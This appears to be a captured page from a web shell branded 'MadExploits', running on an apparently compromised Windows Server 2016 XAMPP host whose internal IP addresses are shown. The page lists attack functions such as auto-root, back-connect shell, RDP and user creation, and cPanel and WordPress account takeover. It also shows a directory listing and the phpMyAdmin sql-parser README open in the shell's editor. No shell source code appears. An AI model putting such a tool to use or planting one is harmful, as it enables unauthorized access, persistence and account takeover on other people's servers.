Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
phpMyAdmin /
vendor /
phpmyadmin /
sql-parser /
[ HOME SHELL ]
Name
Size
Permission
Action
bin
[ DIR ]
drwxrwxrwx
locale
[ DIR ]
drwxrwxrwx
src
[ DIR ]
drwxrwxrwx
CHANGELOG.md
13.26
KB
-rw-rw-rw-
CODE_OF_CONDUCT.md
3.27
KB
-rw-rw-rw-
CONTRIBUTING.md
1.13
KB
-rw-rw-rw-
LICENSE.txt
17.67
KB
-rw-rw-rw-
README.md
3.78
KB
-rw-rw-rw-
composer.json
1.61
KB
-rw-rw-rw-
phpunit.xml.dist
1.61
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
# SQL Parser A validating SQL lexer and parser with a focus on MySQL dialect. ## Code status [](https://travis-ci.org/phpmyadmin/sql-parser) [](https://scrutinizer-ci.com/g/phpmyadmin/sql-parser/?branch=master) [](https://codecov.io/github/phpmyadmin/sql-parser?branch=master) [](https://scrutinizer-ci.com/g/phpmyadmin/sql-parser/?branch=master) [](https://hosted.weblate.org/engage/phpmyadmin/?utm_source=widget) [](https://packagist.org/packages/phpmyadmin/sql-parser) [](https://www.codetriage.com/phpmyadmin/sql-parser) ## Installation Please use [Composer][1] to install: ```sh composer require phpmyadmin/sql-parser ``` ## Documentation The API documentation is available at <https://develdocs.phpmyadmin.net/sql-parser/>. ## Usage ### Command line utilities Command line utility to syntax highlight SQL query: ```sh ./vendor/bin/highlight-query --query "SELECT 1" ``` Command line utility to lint SQL query: ```sh ./vendor/bin/lint-query --query "SELECT 1" ``` Command line utility to tokenize SQL query: ```sh ./vendor/bin/tokenize-query --query "SELECT 1" ``` All commands are able to parse input from stdin (standard in), such as: ```sh echo "SELECT 1" | ./vendor/bin/highlight-query cat example.sql | ./vendor/bin/lint-query ``` ### Formatting SQL query ```php echo PhpMyAdmin\SqlParser\Utils\Formatter::format($query, ['type' => 'html']); ``` ### Discoverying query type ```php use PhpMyAdmin\SqlParser\Parser; use PhpMyAdmin\SqlParser\Utils\Query; $query = 'OPTIMIZE TABLE tbl'; $parser = new Parser($query); $flags = Query::getFlags($parser->statements[0]); echo $flags['querytype']; ``` ### Parsing and building SQL query ```php require __DIR__ . '/vendor/autoload.php'; $query1 = 'select * from a'; $parser = new PhpMyAdmin\SqlParser\Parser($query1); // inspect query var_dump($parser->statements[0]); // outputs object(PhpMyAdmin\SqlParser\Statements\SelectStatement) // modify query by replacing table a with table b $table2 = new \PhpMyAdmin\SqlParser\Components\Expression('', 'b', '', ''); $parser->statements[0]->from[0] = $table2; // build query again from an array of object(PhpMyAdmin\SqlParser\Statements\SelectStatement) to a string $statement = $parser->statements[0]; $query2 = $statement->build(); var_dump($query2); // outputs string(19) 'SELECT * FROM `b` ' // Change SQL mode PhpMyAdmin\SqlParser\Context::setMode('ANSI_QUOTES'); // build the query again using different quotes $query2 = $statement->build(); var_dump($query2); // outputs string(19) 'SELECT * FROM "b" ' ``` ## Localization You can localize error messages installing `phpmyadmin/motranslator` version `5.0` or newer: ```sh composer require phpmyadmin/motranslator:^5.0 ``` The locale is automatically detected from your environment, you can also set a different locale **From cli**: ```sh LC_ALL=pl ./vendor/bin/lint-query --query "SELECT 1" ``` **From php**: ```php require __DIR__ . '/vendor/autoload.php'; $GLOBALS['lang'] = 'pl'; $query1 = 'select * from a'; $parser = new PhpMyAdmin\SqlParser\Parser($query1); ``` ## More information This library was originally created during the Google Summer of Code 2015 and has been used by phpMyAdmin since version 4.5. [1]:https://getcomposer.org/
Close